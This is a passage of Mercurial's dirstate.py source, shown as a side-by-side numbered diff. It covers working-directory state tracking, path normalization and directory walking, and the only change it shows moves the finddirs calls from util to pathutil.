78 78 opener is an open()-like callable that can be used to open the
79 79 dirstate file; root is the root of the directory tracked by
80 80 the dirstate.
81 81 '''
82 82 self._opener = opener
83 83 self._validate = validate
84 84 self._root = root
85 85 self._sparsematchfn = sparsematchfn
86 86 # ntpath.join(root, '') of Python 2.7.9 does not add sep if root is
87 87 # UNC path pointing to root share (issue4557)
88 88 self._rootdir = pathutil.normasprefix(root)
89 89 self._dirty = False
90 90 self._lastnormaltime = 0
91 91 self._ui = ui
92 92 self._filecache = {}
93 93 self._parentwriters = 0
94 94 self._filename = b'dirstate'
95 95 self._pendingfilename = b'%s.pending' % self._filename
96 96 self._plchangecallbacks = {}
97 97 self._origpl = None
98 98 self._updatedfiles = set()
99 99 self._mapcls = dirstatemap
100 100 # Access and cache cwd early, so we don't access it for the first time
101 101 # after a working-copy update caused it to not exist (accessing it then
102 102 # raises an exception).
103 103 self._cwd
104 104
105 105 @contextlib.contextmanager
106 106 def parentchange(self):
107 107 '''Context manager for handling dirstate parents.
108 108
109 109 If an exception occurs in the scope of the context manager,
110 110 the incoherent dirstate won't be written when wlock is
111 111 released.
112 112 '''
113 113 self._parentwriters += 1
114 114 yield
115 115 # Typically we want the "undo" step of a context manager in a
116 116 # finally block so it happens even when an exception
117 117 # occurs. In this case, however, we only want to decrement
118 118 # parentwriters if the code in the with statement exits
119 119 # normally, so we don't have a try/finally here on purpose.
120 120 self._parentwriters -= 1
121 121
122 122 def pendingparentchange(self):
123 123 '''Returns true if the dirstate is in the middle of a set of changes
124 124 that modify the dirstate parent.
125 125 '''
126 126 return self._parentwriters > 0
127 127
128 128 @propertycache
129 129 def _map(self):
130 130 """Return the dirstate contents (see documentation for dirstatemap)."""
131 131 self._map = self._mapcls(self._ui, self._opener, self._root)
132 132 return self._map
133 133
134 134 @property
135 135 def _sparsematcher(self):
136 136 """The matcher for the sparse checkout.
137 137
138 138 The working directory may not include every file from a manifest. The
139 139 matcher obtained by this property will match a path if it is to be
140 140 included in the working directory.
141 141 """
142 142 # TODO there is potential to cache this property. For now, the matcher
143 143 # is resolved on every access. (But the called function does use a
144 144 # cache to keep the lookup fast.)
145 145 return self._sparsematchfn()
146 146
147 147 @repocache(b'branch')
148 148 def _branch(self):
149 149 try:
150 150 return self._opener.read(b"branch").strip() or b"default"
151 151 except IOError as inst:
152 152 if inst.errno != errno.ENOENT:
153 153 raise
154 154 return b"default"
155 155
156 156 @property
157 157 def _pl(self):
158 158 return self._map.parents()
159 159
160 160 def hasdir(self, d):
161 161 return self._map.hastrackeddir(d)
162 162
163 163 @rootcache(b'.hgignore')
164 164 def _ignore(self):
165 165 files = self._ignorefiles()
166 166 if not files:
167 167 return matchmod.never()
168 168
169 169 pats = [b'include:%s' % f for f in files]
170 170 return matchmod.match(self._root, b'', [], pats, warn=self._ui.warn)
171 171
172 172 @propertycache
173 173 def _slash(self):
174 174 return self._ui.configbool(b'ui', b'slash') and pycompat.ossep != b'/'
175 175
176 176 @propertycache
177 177 def _checklink(self):
178 178 return util.checklink(self._root)
179 179
180 180 @propertycache
181 181 def _checkexec(self):
182 182 return util.checkexec(self._root)
183 183
184 184 @propertycache
185 185 def _checkcase(self):
186 186 return not util.fscasesensitive(self._join(b'.hg'))
187 187
188 188 def _join(self, f):
189 189 # much faster than os.path.join()
190 190 # it's safe because f is always a relative path
191 191 return self._rootdir + f
192 192
193 193 def flagfunc(self, buildfallback):
194 194 if self._checklink and self._checkexec:
195 195
196 196 def f(x):
197 197 try:
198 198 st = os.lstat(self._join(x))
199 199 if util.statislink(st):
200 200 return b'l'
201 201 if util.statisexec(st):
202 202 return b'x'
203 203 except OSError:
204 204 pass
205 205 return b''
206 206
207 207 return f
208 208
209 209 fallback = buildfallback()
210 210 if self._checklink:
211 211
212 212 def f(x):
213 213 if os.path.islink(self._join(x)):
214 214 return b'l'
215 215 if b'x' in fallback(x):
216 216 return b'x'
217 217 return b''
218 218
219 219 return f
220 220 if self._checkexec:
221 221
222 222 def f(x):
223 223 if b'l' in fallback(x):
224 224 return b'l'
225 225 if util.isexec(self._join(x)):
226 226 return b'x'
227 227 return b''
228 228
229 229 return f
230 230 else:
231 231 return fallback
232 232
233 233 @propertycache
234 234 def _cwd(self):
235 235 # internal config: ui.forcecwd
236 236 forcecwd = self._ui.config(b'ui', b'forcecwd')
237 237 if forcecwd:
238 238 return forcecwd
239 239 return encoding.getcwd()
240 240
241 241 def getcwd(self):
242 242 '''Return the path from which a canonical path is calculated.
243 243
244 244 This path should be used to resolve file patterns or to convert
245 245 canonical paths back to file paths for display. It shouldn't be
246 246 used to get real file paths. Use vfs functions instead.
247 247 '''
248 248 cwd = self._cwd
249 249 if cwd == self._root:
250 250 return b''
251 251 # self._root ends with a path separator if self._root is '/' or 'C:\'
252 252 rootsep = self._root
253 253 if not util.endswithsep(rootsep):
254 254 rootsep += pycompat.ossep
255 255 if cwd.startswith(rootsep):
256 256 return cwd[len(rootsep) :]
257 257 else:
258 258 # we're outside the repo. return an absolute path.
259 259 return cwd
260 260
261 261 def pathto(self, f, cwd=None):
262 262 if cwd is None:
263 263 cwd = self.getcwd()
264 264 path = util.pathto(self._root, cwd, f)
265 265 if self._slash:
266 266 return util.pconvert(path)
267 267 return path
268 268
269 269 def __getitem__(self, key):
270 270 '''Return the current state of key (a filename) in the dirstate.
271 271
272 272 States are:
273 273 n normal
274 274 m needs merging
275 275 r marked for removal
276 276 a marked for addition
277 277 ? not tracked
278 278 '''
279 279 return self._map.get(key, (b"?",))[0]
280 280
281 281 def __contains__(self, key):
282 282 return key in self._map
283 283
284 284 def __iter__(self):
285 285 return iter(sorted(self._map))
286 286
287 287 def items(self):
288 288 return pycompat.iteritems(self._map)
289 289
290 290 iteritems = items
291 291
292 292 def parents(self):
293 293 return [self._validate(p) for p in self._pl]
294 294
295 295 def p1(self):
296 296 return self._validate(self._pl[0])
297 297
298 298 def p2(self):
299 299 return self._validate(self._pl[1])
300 300
301 301 def branch(self):
302 302 return encoding.tolocal(self._branch)
303 303
304 304 def setparents(self, p1, p2=nullid):
305 305 """Set dirstate parents to p1 and p2.
306 306
307 307 When moving from two parents to one, 'm' merged entries a
308 308 adjusted to normal and previous copy records discarded and
309 309 returned by the call.
310 310
311 311 See localrepo.setparents()
312 312 """
313 313 if self._parentwriters == 0:
314 314 raise ValueError(
315 315 b"cannot set dirstate parent outside of "
316 316 b"dirstate.parentchange context manager"
317 317 )
318 318
319 319 self._dirty = True
320 320 oldp2 = self._pl[1]
321 321 if self._origpl is None:
322 322 self._origpl = self._pl
323 323 self._map.setparents(p1, p2)
324 324 copies = {}
325 325 if oldp2 != nullid and p2 == nullid:
326 326 candidatefiles = self._map.nonnormalset.union(
327 327 self._map.otherparentset
328 328 )
329 329 for f in candidatefiles:
330 330 s = self._map.get(f)
331 331 if s is None:
332 332 continue
333 333
334 334 # Discard 'm' markers when moving away from a merge state
335 335 if s[0] == b'm':
336 336 source = self._map.copymap.get(f)
337 337 if source:
338 338 copies[f] = source
339 339 self.normallookup(f)
340 340 # Also fix up otherparent markers
341 341 elif s[0] == b'n' and s[2] == -2:
342 342 source = self._map.copymap.get(f)
343 343 if source:
344 344 copies[f] = source
345 345 self.add(f)
346 346 return copies
347 347
348 348 def setbranch(self, branch):
349 349 self.__class__._branch.set(self, encoding.fromlocal(branch))
350 350 f = self._opener(b'branch', b'w', atomictemp=True, checkambig=True)
351 351 try:
352 352 f.write(self._branch + b'\n')
353 353 f.close()
354 354
355 355 # make sure filecache has the correct stat info for _branch after
356 356 # replacing the underlying file
357 357 ce = self._filecache[b'_branch']
358 358 if ce:
359 359 ce.refresh()
360 360 except: # re-raises
361 361 f.discard()
362 362 raise
363 363
364 364 def invalidate(self):
365 365 '''Causes the next access to reread the dirstate.
366 366
367 367 This is different from localrepo.invalidatedirstate() because it always
368 368 rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
369 369 check whether the dirstate has changed before rereading it.'''
370 370
371 371 for a in ("_map", "_branch", "_ignore"):
372 372 if a in self.__dict__:
373 373 delattr(self, a)
374 374 self._lastnormaltime = 0
375 375 self._dirty = False
376 376 self._updatedfiles.clear()
377 377 self._parentwriters = 0
378 378 self._origpl = None
379 379
380 380 def copy(self, source, dest):
381 381 """Mark dest as a copy of source. Unmark dest if source is None."""
382 382 if source == dest:
383 383 return
384 384 self._dirty = True
385 385 if source is not None:
386 386 self._map.copymap[dest] = source
387 387 self._updatedfiles.add(source)
388 388 self._updatedfiles.add(dest)
389 389 elif self._map.copymap.pop(dest, None):
390 390 self._updatedfiles.add(dest)
391 391
392 392 def copied(self, file):
393 393 return self._map.copymap.get(file, None)
394 394
395 395 def copies(self):
396 396 return self._map.copymap
397 397
398 398 def _addpath(self, f, state, mode, size, mtime):
399 399 oldstate = self[f]
400 400 if state == b'a' or oldstate == b'r':
401 401 scmutil.checkfilename(f)
402 402 if self._map.hastrackeddir(f):
403 403 raise error.Abort(
404 404 _(b'directory %r already in dirstate') % pycompat.bytestr(f)
405 405 )
406 406 # shadows
407 for d in util.finddirs(f):
407 for d in pathutil.finddirs(f):
408 408 if self._map.hastrackeddir(d):
409 409 break
410 410 entry = self._map.get(d)
411 411 if entry is not None and entry[0] != b'r':
412 412 raise error.Abort(
413 413 _(b'file %r in dirstate clashes with %r')
414 414 % (pycompat.bytestr(d), pycompat.bytestr(f))
415 415 )
416 416 self._dirty = True
417 417 self._updatedfiles.add(f)
418 418 self._map.addfile(f, oldstate, state, mode, size, mtime)
419 419
420 420 def normal(self, f, parentfiledata=None):
421 421 '''Mark a file normal and clean.
422 422
423 423 parentfiledata: (mode, size, mtime) of the clean file
424 424
425 425 parentfiledata should be computed from memory (for mode,
426 426 size), as or close as possible from the point where we
427 427 determined the file was clean, to limit the risk of the
428 428 file having been changed by an external process between the
429 429 moment where the file was determined to be clean and now.'''
430 430 if parentfiledata:
431 431 (mode, size, mtime) = parentfiledata
432 432 else:
433 433 s = os.lstat(self._join(f))
434 434 mode = s.st_mode
435 435 size = s.st_size
436 436 mtime = s[stat.ST_MTIME]
437 437 self._addpath(f, b'n', mode, size & _rangemask, mtime & _rangemask)
438 438 self._map.copymap.pop(f, None)
439 439 if f in self._map.nonnormalset:
440 440 self._map.nonnormalset.remove(f)
441 441 if mtime > self._lastnormaltime:
442 442 # Remember the most recent modification timeslot for status(),
443 443 # to make sure we won't miss future size-preserving file content
444 444 # modifications that happen within the same timeslot.
445 445 self._lastnormaltime = mtime
446 446
447 447 def normallookup(self, f):
448 448 '''Mark a file normal, but possibly dirty.'''
449 449 if self._pl[1] != nullid:
450 450 # if there is a merge going on and the file was either
451 451 # in state 'm' (-1) or coming from other parent (-2) before
452 452 # being removed, restore that state.
453 453 entry = self._map.get(f)
454 454 if entry is not None:
455 455 if entry[0] == b'r' and entry[2] in (-1, -2):
456 456 source = self._map.copymap.get(f)
457 457 if entry[2] == -1:
458 458 self.merge(f)
459 459 elif entry[2] == -2:
460 460 self.otherparent(f)
461 461 if source:
462 462 self.copy(source, f)
463 463 return
464 464 if entry[0] == b'm' or entry[0] == b'n' and entry[2] == -2:
465 465 return
466 466 self._addpath(f, b'n', 0, -1, -1)
467 467 self._map.copymap.pop(f, None)
468 468
469 469 def otherparent(self, f):
470 470 '''Mark as coming from the other parent, always dirty.'''
471 471 if self._pl[1] == nullid:
472 472 raise error.Abort(
473 473 _(b"setting %r to other parent only allowed in merges") % f
474 474 )
475 475 if f in self and self[f] == b'n':
476 476 # merge-like
477 477 self._addpath(f, b'm', 0, -2, -1)
478 478 else:
479 479 # add-like
480 480 self._addpath(f, b'n', 0, -2, -1)
481 481 self._map.copymap.pop(f, None)
482 482
483 483 def add(self, f):
484 484 '''Mark a file added.'''
485 485 self._addpath(f, b'a', 0, -1, -1)
486 486 self._map.copymap.pop(f, None)
487 487
488 488 def remove(self, f):
489 489 '''Mark a file removed.'''
490 490 self._dirty = True
491 491 oldstate = self[f]
492 492 size = 0
493 493 if self._pl[1] != nullid:
494 494 entry = self._map.get(f)
495 495 if entry is not None:
496 496 # backup the previous state
497 497 if entry[0] == b'm': # merge
498 498 size = -1
499 499 elif entry[0] == b'n' and entry[2] == -2: # other parent
500 500 size = -2
501 501 self._map.otherparentset.add(f)
502 502 self._updatedfiles.add(f)
503 503 self._map.removefile(f, oldstate, size)
504 504 if size == 0:
505 505 self._map.copymap.pop(f, None)
506 506
507 507 def merge(self, f):
508 508 '''Mark a file merged.'''
509 509 if self._pl[1] == nullid:
510 510 return self.normallookup(f)
511 511 return self.otherparent(f)
512 512
513 513 def drop(self, f):
514 514 '''Drop a file from the dirstate'''
515 515 oldstate = self[f]
516 516 if self._map.dropfile(f, oldstate):
517 517 self._dirty = True
518 518 self._updatedfiles.add(f)
519 519 self._map.copymap.pop(f, None)
520 520
521 521 def _discoverpath(self, path, normed, ignoremissing, exists, storemap):
522 522 if exists is None:
523 523 exists = os.path.lexists(os.path.join(self._root, path))
524 524 if not exists:
525 525 # Maybe a path component exists
526 526 if not ignoremissing and b'/' in path:
527 527 d, f = path.rsplit(b'/', 1)
528 528 d = self._normalize(d, False, ignoremissing, None)
529 529 folded = d + b"/" + f
530 530 else:
531 531 # No path components, preserve original case
532 532 folded = path
533 533 else:
534 534 # recursively normalize leading directory components
535 535 # against dirstate
536 536 if b'/' in normed:
537 537 d, f = normed.rsplit(b'/', 1)
538 538 d = self._normalize(d, False, ignoremissing, True)
539 539 r = self._root + b"/" + d
540 540 folded = d + b"/" + util.fspath(f, r)
541 541 else:
542 542 folded = util.fspath(normed, self._root)
543 543 storemap[normed] = folded
544 544
545 545 return folded
546 546
547 547 def _normalizefile(self, path, isknown, ignoremissing=False, exists=None):
548 548 normed = util.normcase(path)
549 549 folded = self._map.filefoldmap.get(normed, None)
550 550 if folded is None:
551 551 if isknown:
552 552 folded = path
553 553 else:
554 554 folded = self._discoverpath(
555 555 path, normed, ignoremissing, exists, self._map.filefoldmap
556 556 )
557 557 return folded
558 558
559 559 def _normalize(self, path, isknown, ignoremissing=False, exists=None):
560 560 normed = util.normcase(path)
561 561 folded = self._map.filefoldmap.get(normed, None)
562 562 if folded is None:
563 563 folded = self._map.dirfoldmap.get(normed, None)
564 564 if folded is None:
565 565 if isknown:
566 566 folded = path
567 567 else:
568 568 # store discovered result in dirfoldmap so that future
569 569 # normalizefile calls don't start matching directories
570 570 folded = self._discoverpath(
571 571 path, normed, ignoremissing, exists, self._map.dirfoldmap
572 572 )
573 573 return folded
574 574
575 575 def normalize(self, path, isknown=False, ignoremissing=False):
576 576 '''
577 577 normalize the case of a pathname when on a casefolding filesystem
578 578
579 579 isknown specifies whether the filename came from walking the
580 580 disk, to avoid extra filesystem access.
581 581
582 582 If ignoremissing is True, missing path are returned
583 583 unchanged. Otherwise, we try harder to normalize possibly
584 584 existing path components.
585 585
586 586 The normalized case is determined based on the following precedence:
587 587
588 588 - version of name already stored in the dirstate
589 589 - version of name stored on disk
590 590 - version provided via command arguments
591 591 '''
592 592
593 593 if self._checkcase:
594 594 return self._normalize(path, isknown, ignoremissing)
595 595 return path
596 596
597 597 def clear(self):
598 598 self._map.clear()
599 599 self._lastnormaltime = 0
600 600 self._updatedfiles.clear()
601 601 self._dirty = True
602 602
603 603 def rebuild(self, parent, allfiles, changedfiles=None):
604 604 if changedfiles is None:
605 605 # Rebuild entire dirstate
606 606 changedfiles = allfiles
607 607 lastnormaltime = self._lastnormaltime
608 608 self.clear()
609 609 self._lastnormaltime = lastnormaltime
610 610
611 611 if self._origpl is None:
612 612 self._origpl = self._pl
613 613 self._map.setparents(parent, nullid)
614 614 for f in changedfiles:
615 615 if f in allfiles:
616 616 self.normallookup(f)
617 617 else:
618 618 self.drop(f)
619 619
620 620 self._dirty = True
621 621
622 622 def identity(self):
623 623 '''Return identity of dirstate itself to detect changing in storage
624 624
625 625 If identity of previous dirstate is equal to this, writing
626 626 changes based on the former dirstate out can keep consistency.
627 627 '''
628 628 return self._map.identity
629 629
630 630 def write(self, tr):
631 631 if not self._dirty:
632 632 return
633 633
634 634 filename = self._filename
635 635 if tr:
636 636 # 'dirstate.write()' is not only for writing in-memory
637 637 # changes out, but also for dropping ambiguous timestamp.
638 638 # delayed writing re-raise "ambiguous timestamp issue".
639 639 # See also the wiki page below for detail:
640 640 # https://www.mercurial-scm.org/wiki/DirstateTransactionPlan
641 641
642 642 # emulate dropping timestamp in 'parsers.pack_dirstate'
643 643 now = _getfsnow(self._opener)
644 644 self._map.clearambiguoustimes(self._updatedfiles, now)
645 645
646 646 # emulate that all 'dirstate.normal' results are written out
647 647 self._lastnormaltime = 0
648 648 self._updatedfiles.clear()
649 649
650 650 # delay writing in-memory changes out
651 651 tr.addfilegenerator(
652 652 b'dirstate',
653 653 (self._filename,),
654 654 self._writedirstate,
655 655 location=b'plain',
656 656 )
657 657 return
658 658
659 659 st = self._opener(filename, b"w", atomictemp=True, checkambig=True)
660 660 self._writedirstate(st)
661 661
662 662 def addparentchangecallback(self, category, callback):
663 663 """add a callback to be called when the wd parents are changed
664 664
665 665 Callback will be called with the following arguments:
666 666 dirstate, (oldp1, oldp2), (newp1, newp2)
667 667
668 668 Category is a unique identifier to allow overwriting an old callback
669 669 with a newer callback.
670 670 """
671 671 self._plchangecallbacks[category] = callback
672 672
673 673 def _writedirstate(self, st):
674 674 # notify callbacks about parents change
675 675 if self._origpl is not None and self._origpl != self._pl:
676 676 for c, callback in sorted(
677 677 pycompat.iteritems(self._plchangecallbacks)
678 678 ):
679 679 callback(self, self._origpl, self._pl)
680 680 self._origpl = None
681 681 # use the modification time of the newly created temporary file as the
682 682 # filesystem's notion of 'now'
683 683 now = util.fstat(st)[stat.ST_MTIME] & _rangemask
684 684
685 685 # enough 'delaywrite' prevents 'pack_dirstate' from dropping
686 686 # timestamp of each entries in dirstate, because of 'now > mtime'
687 687 delaywrite = self._ui.configint(b'debug', b'dirstate.delaywrite')
688 688 if delaywrite > 0:
689 689 # do we have any files to delay for?
690 690 for f, e in pycompat.iteritems(self._map):
691 691 if e[0] == b'n' and e[3] == now:
692 692 import time # to avoid useless import
693 693
694 694 # rather than sleep n seconds, sleep until the next
695 695 # multiple of n seconds
696 696 clock = time.time()
697 697 start = int(clock) - (int(clock) % delaywrite)
698 698 end = start + delaywrite
699 699 time.sleep(end - clock)
700 700 now = end # trust our estimate that the end is near now
701 701 break
702 702
703 703 self._map.write(st, now)
704 704 self._lastnormaltime = 0
705 705 self._dirty = False
706 706
707 707 def _dirignore(self, f):
708 708 if self._ignore(f):
709 709 return True
710 for p in util.finddirs(f):
710 for p in pathutil.finddirs(f):
711 711 if self._ignore(p):
712 712 return True
713 713 return False
714 714
715 715 def _ignorefiles(self):
716 716 files = []
717 717 if os.path.exists(self._join(b'.hgignore')):
718 718 files.append(self._join(b'.hgignore'))
719 719 for name, path in self._ui.configitems(b"ui"):
720 720 if name == b'ignore' or name.startswith(b'ignore.'):
721 721 # we need to use os.path.join here rather than self._join
722 722 # because path is arbitrary and user-specified
723 723 files.append(os.path.join(self._rootdir, util.expandpath(path)))
724 724 return files
725 725
726 726 def _ignorefileandline(self, f):
727 727 files = collections.deque(self._ignorefiles())
728 728 visited = set()
729 729 while files:
730 730 i = files.popleft()
731 731 patterns = matchmod.readpatternfile(
732 732 i, self._ui.warn, sourceinfo=True
733 733 )
734 734 for pattern, lineno, line in patterns:
735 735 kind, p = matchmod._patsplit(pattern, b'glob')
736 736 if kind == b"subinclude":
737 737 if p not in visited:
738 738 files.append(p)
739 739 continue
740 740 m = matchmod.match(
741 741 self._root, b'', [], [pattern], warn=self._ui.warn
742 742 )
743 743 if m(f):
744 744 return (i, lineno, line)
745 745 visited.add(i)
746 746 return (None, -1, b"")
747 747
748 748 def _walkexplicit(self, match, subrepos):
749 749 '''Get stat data about the files explicitly specified by match.
750 750
751 751 Return a triple (results, dirsfound, dirsnotfound).
752 752 - results is a mapping from filename to stat result. It also contains
753 753 listings mapping subrepos and .hg to None.
754 754 - dirsfound is a list of files found to be directories.
755 755 - dirsnotfound is a list of files that the dirstate thinks are
756 756 directories and that were not found.'''
757 757
758 758 def badtype(mode):
759 759 kind = _(b'unknown')
760 760 if stat.S_ISCHR(mode):
761 761 kind = _(b'character device')
762 762 elif stat.S_ISBLK(mode):
763 763 kind = _(b'block device')
764 764 elif stat.S_ISFIFO(mode):
765 765 kind = _(b'fifo')
766 766 elif stat.S_ISSOCK(mode):
767 767 kind = _(b'socket')
768 768 elif stat.S_ISDIR(mode):
769 769 kind = _(b'directory')
770 770 return _(b'unsupported file type (type is %s)') % kind
771 771
772 772 matchedir = match.explicitdir
773 773 badfn = match.bad
774 774 dmap = self._map
775 775 lstat = os.lstat
776 776 getkind = stat.S_IFMT
777 777 dirkind = stat.S_IFDIR
778 778 regkind = stat.S_IFREG
779 779 lnkkind = stat.S_IFLNK
780 780 join = self._join
781 781 dirsfound = []
782 782 foundadd = dirsfound.append
783 783 dirsnotfound = []
784 784 notfoundadd = dirsnotfound.append
785 785
786 786 if not match.isexact() and self._checkcase:
787 787 normalize = self._normalize
788 788 else:
789 789 normalize = None
790 790
791 791 files = sorted(match.files())
792 792 subrepos.sort()
793 793 i, j = 0, 0
794 794 while i < len(files) and j < len(subrepos):
795 795 subpath = subrepos[j] + b"/"
796 796 if files[i] < subpath:
797 797 i += 1
798 798 continue
799 799 while i < len(files) and files[i].startswith(subpath):
800 800 del files[i]
801 801 j += 1
802 802
803 803 if not files or b'' in files:
804 804 files = [b'']
805 805 # constructing the foldmap is expensive, so don't do it for the
806 806 # common case where files is ['']
807 807 normalize = None
808 808 results = dict.fromkeys(subrepos)
809 809 results[b'.hg'] = None
810 810
811 811 for ff in files:
812 812 if normalize:
813 813 nf = normalize(ff, False, True)
814 814 else:
815 815 nf = ff
816 816 if nf in results:
817 817 continue
818 818
819 819 try:
820 820 st = lstat(join(nf))
821 821 kind = getkind(st.st_mode)
822 822 if kind == dirkind:
823 823 if nf in dmap:
824 824 # file replaced by dir on disk but still in dirstate
825 825 results[nf] = None
826 826 if matchedir:
827 827 matchedir(nf)
828 828 foundadd((nf, ff))
829 829 elif kind == regkind or kind == lnkkind:
830 830 results[nf] = st
831 831 else:
832 832 badfn(ff, badtype(kind))
833 833 if nf in dmap:
834 834 results[nf] = None
835 835 except OSError as inst: # nf not found on disk - it is dirstate only
836 836 if nf in dmap: # does it exactly match a missing file?
837 837 results[nf] = None
838 838 else: # does it match a missing directory?
839 839 if self._map.hasdir(nf):
840 840 if matchedir:
841 841 matchedir(nf)
842 842 notfoundadd(nf)
843 843 else:
844 844 badfn(ff, encoding.strtolocal(inst.strerror))
845 845
846 846 # match.files() may contain explicitly-specified paths that shouldn't
847 847 # be taken; drop them from the list of files found. dirsfound/notfound
848 848 # aren't filtered here because they will be tested later.
849 849 if match.anypats():
850 850 for f in list(results):
851 851 if f == b'.hg' or f in subrepos:
852 852 # keep sentinel to disable further out-of-repo walks
853 853 continue
854 854 if not match(f):
855 855 del results[f]
856 856
857 857 # Case insensitive filesystems cannot rely on lstat() failing to detect
858 858 # a case-only rename. Prune the stat object for any file that does not
859 859 # match the case in the filesystem, if there are multiple files that
860 860 # normalize to the same path.
861 861 if match.isexact() and self._checkcase:
862 862 normed = {}
863 863
864 864 for f, st in pycompat.iteritems(results):
865 865 if st is None:
866 866 continue
867 867
868 868 nc = util.normcase(f)
869 869 paths = normed.get(nc)
870 870
871 871 if paths is None:
872 872 paths = set()
873 873 normed[nc] = paths
874 874
875 875 paths.add(f)
876 876
877 877 for norm, paths in pycompat.iteritems(normed):
878 878 if len(paths) > 1:
879 879 for path in paths:
880 880 folded = self._discoverpath(
881 881 path, norm, True, None, self._map.dirfoldmap
882 882 )
883 883 if path != folded:
884 884 results[path] = None
885 885
886 886 return results, dirsfound, dirsnotfound
887 887
888 888 def walk(self, match, subrepos, unknown, ignored, full=True):
889 889 '''
890 890 Walk recursively through the directory tree, finding all files
891 891 matched by match.
892 892
893 893 If full is False, maybe skip some known-clean files.
894 894
895 895 Return a dict mapping filename to stat-like object (either
896 896 mercurial.osutil.stat instance or return value of os.stat()).
897 897
898 898 '''
899 899 # full is a flag that extensions that hook into walk can use -- this
900 900 # implementation doesn't use it at all. This satisfies the contract
901 901 # because we only guarantee a "maybe".
902 902
903 903 if ignored:
904 904 ignore = util.never
905 905 dirignore = util.never
906 906 elif unknown:
907 907 ignore = self._ignore
908 908 dirignore = self._dirignore
909 909 else:
910 910 # if not unknown and not ignored, drop dir recursion and step 2
911 911 ignore = util.always
912 912 dirignore = util.always
913 913
914 914 matchfn = match.matchfn
915 915 matchalways = match.always()
916 916 matchtdir = match.traversedir
917 917 dmap = self._map
918 918 listdir = util.listdir
919 919 lstat = os.lstat
920 920 dirkind = stat.S_IFDIR
921 921 regkind = stat.S_IFREG
922 922 lnkkind = stat.S_IFLNK
923 923 join = self._join
924 924
925 925 exact = skipstep3 = False
926 926 if match.isexact(): # match.exact
927 927 exact = True
928 928 dirignore = util.always # skip step 2
929 929 elif match.prefix(): # match.match, no patterns
930 930 skipstep3 = True
931 931
932 932 if not exact and self._checkcase:
933 933 normalize = self._normalize
934 934 normalizefile = self._normalizefile
935 935 skipstep3 = False
936 936 else:
937 937 normalize = self._normalize
938 938 normalizefile = None
939 939
940 940 # step 1: find all explicit files
941 941 results, work, dirsnotfound = self._walkexplicit(match, subrepos)
942 942
943 943 skipstep3 = skipstep3 and not (work or dirsnotfound)
944 944 work = [d for d in work if not dirignore(d[0])]
945 945
946 946 # step 2: visit subdirectories
947 947 def traverse(work, alreadynormed):
948 948 wadd = work.append
949 949 while work:
950 950 tracing.counter('dirstate.walk work', len(work))
951 951 nd = work.pop()
952 952 visitentries = match.visitchildrenset(nd)
953 953 if not visitentries:
954 954 continue
955 955 if visitentries == b'this' or visitentries == b'all':
956 956 visitentries = None
957 957 skip = None
958 958 if nd != b'':
959 959 skip = b'.hg'
960 960 try:
961 961 with tracing.log('dirstate.walk.traverse listdir %s', nd):
962 962 entries = listdir(join(nd), stat=True, skip=skip)
963 963 except OSError as inst:
964 964 if inst.errno in (errno.EACCES, errno.ENOENT):
965 965 match.bad(
966 966 self.pathto(nd), encoding.strtolocal(inst.strerror)
967 967 )
968 968 continue
969 969 raise
970 970 for f, kind, st in entries:
971 971 # Some matchers may return files in the visitentries set,
972 972 # instead of 'this', if the matcher explicitly mentions them
973 973 # and is not an exactmatcher. This is acceptable; we do not
974 974 # make any hard assumptions about file-or-directory below
975 975 # based on the presence of `f` in visitentries. If
976 976 # visitchildrenset returned a set, we can always skip the
977 977 # entries *not* in the set it provided regardless of whether
978 978 # they're actually a file or a directory.
979 979 if visitentries and f not in visitentries:
980 980 continue
981 981 if normalizefile:
982 982 # even though f might be a directory, we're only
983 983 # interested in comparing it to files currently in the
984 984 # dmap -- therefore normalizefile is enough
985 985 nf = normalizefile(
986 986 nd and (nd + b"/" + f) or f, True, True
987 987 )
988 988 else:
989 989 nf = nd and (nd + b"/" + f) or f
990 990 if nf not in results:
991 991 if kind == dirkind:
992 992 if not ignore(nf):
993 993 if matchtdir:
994 994 matchtdir(nf)
995 995 wadd(nf)
996 996 if nf in dmap and (matchalways or matchfn(nf)):
997 997 results[nf] = None
998 998 elif kind == regkind or kind == lnkkind:
999 999 if nf in dmap:
1000 1000 if matchalways or matchfn(nf):
1001 1001 results[nf] = st
1002 1002 elif (matchalways or matchfn(nf)) and not ignore(
1003 1003 nf
1004 1004 ):
1005 1005 # unknown file -- normalize if necessary
1006 1006 if not alreadynormed:
1007 1007 nf = normalize(nf, False, True)
1008 1008 results[nf] = st
1009 1009 elif nf in dmap and (matchalways or matchfn(nf)):
1010 1010 results[nf] = None
1011 1011
1012 1012 for nd, d in work:
1013 1013 # alreadynormed means that processwork doesn't have to do any
1014 1014 # expensive directory normalization
1015 1015 alreadynormed = not normalize or nd == d
1016 1016 traverse([d], alreadynormed)
1017 1017
1018 1018 for s in subrepos:
1019 1019 del results[s]
1020 1020 del results[b'.hg']
1021 1021
1022 1022 # step 3: visit remaining files from dmap
1023 1023 if not skipstep3 and not exact:
1024 1024 # If a dmap file is not in results yet, it was either
1025 1025 # a) not matching matchfn b) ignored, c) missing, or d) under a
1026 1026 # symlink directory.
1027 1027 if not results and matchalways:
1028 1028 visit = [f for f in dmap]
1029 1029 else:
1030 1030 visit = [f for f in dmap if f not in results and matchfn(f)]
1031 1031 visit.sort()
1032 1032
1033 1033 if unknown:
1034 1034 # unknown == True means we walked all dirs under the roots
1035 1035 # that wasn't ignored, and everything that matched was stat'ed
1036 1036 # and is already in results.
1037 1037 # The rest must thus be ignored or under a symlink.
1038 1038 audit_path = pathutil.pathauditor(self._root, cached=True)
1039 1039
1040 1040 for nf in iter(visit):
1041 1041 # If a stat for the same file was already added with a
1042 1042 # different case, don't add one for this, since that would
1043 1043 # make it appear as if the file exists under both names
1044 1044 # on disk.
1045 1045 if (
1046 1046 normalizefile
1047 1047 and normalizefile(nf, True, True) in results
1048 1048 ):
1049 1049 results[nf] = None
1050 1050 # Report ignored items in the dmap as long as they are not
1051 1051 # under a symlink directory.
1052 1052 elif audit_path.check(nf):
1053 1053 try:
1054 1054 results[nf] = lstat(join(nf))
1055 1055 # file was just ignored, no links, and exists
1056 1056 except OSError:
1057 1057 # file doesn't exist
1058 1058 results[nf] = None
1059 1059 else:
1060 1060 # It's either missing or under a symlink directory
1061 1061 # which we in this case report as missing
1062 1062 results[nf] = None
1063 1063 else:
1064 1064 # We may not have walked the full directory tree above,
1065 1065 # so stat and check everything we missed.
1066 1066 iv = iter(visit)
1067 1067 for st in util.statfiles([join(i) for i in visit]):
1068 1068 results[next(iv)] = st
1069 1069 return results
1070 1070
1071 1071 def status(self, match, subrepos, ignored, clean, unknown):
